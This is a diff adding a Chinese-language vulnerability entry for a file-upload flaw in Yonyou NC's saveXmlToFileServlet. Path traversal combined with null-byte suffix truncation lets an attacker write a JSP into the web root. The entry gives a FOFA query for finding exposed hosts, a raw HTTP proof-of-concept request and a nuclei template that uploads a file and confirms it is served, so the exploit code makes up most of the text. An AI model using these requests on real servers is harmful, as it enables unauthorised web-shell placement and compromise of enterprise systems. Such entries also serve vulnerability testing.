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+## 用友NC接口saveXmlToFIleServlet存在文件上传
+
+/portal/pt/servlet/saveXmlToFileServlet/doPost接口会保存xml文档到服务器一个路径下，默认会添加.xml后缀，通过Windows的文件名特性可截断.xml文件后缀。再通过目录穿越可上传jsp文件到nc_web目录下。
+
+
+## fofa
+```
+title:"YONYOU NC"
+```
+
+
+## poc
+```
+POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\test9527.jsp%00 HTTP/1.1
+Host: xxxxx
+Content-Type: application/octet-stream
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+
+123
+
+```
+
+## nuclei
+```nuclei
+id: yonyou-uap-saveXmlToFileServlet-upload-file
+info:
+  name: yonyou-uap-saveXmlToFileServlet-upload-file
+  author: qianbenhyu
+  severity: high
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\{{randstr_1}}.jsp%00"
+    headers:
+      Cookie: LA_K1=langid
+      serverEnable: localserver
+      Accept-Encoding: gzip, x-gzip, deflate
+      Content-Length: 27
+      Content-Type: application/octet-stream
+      Content-Encoding: UTF_8
+      Connection: keep-alive
+      User-Agent: Apache-HttpClient/5.2.1 (Java/1.8.0_202)
+    body: "{{randstr_2}}"
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/{{randstr_1}}.jsp"
+    matchers:
+      - type: word
+        words:
+          - "{{randstr_2}}"
+
+```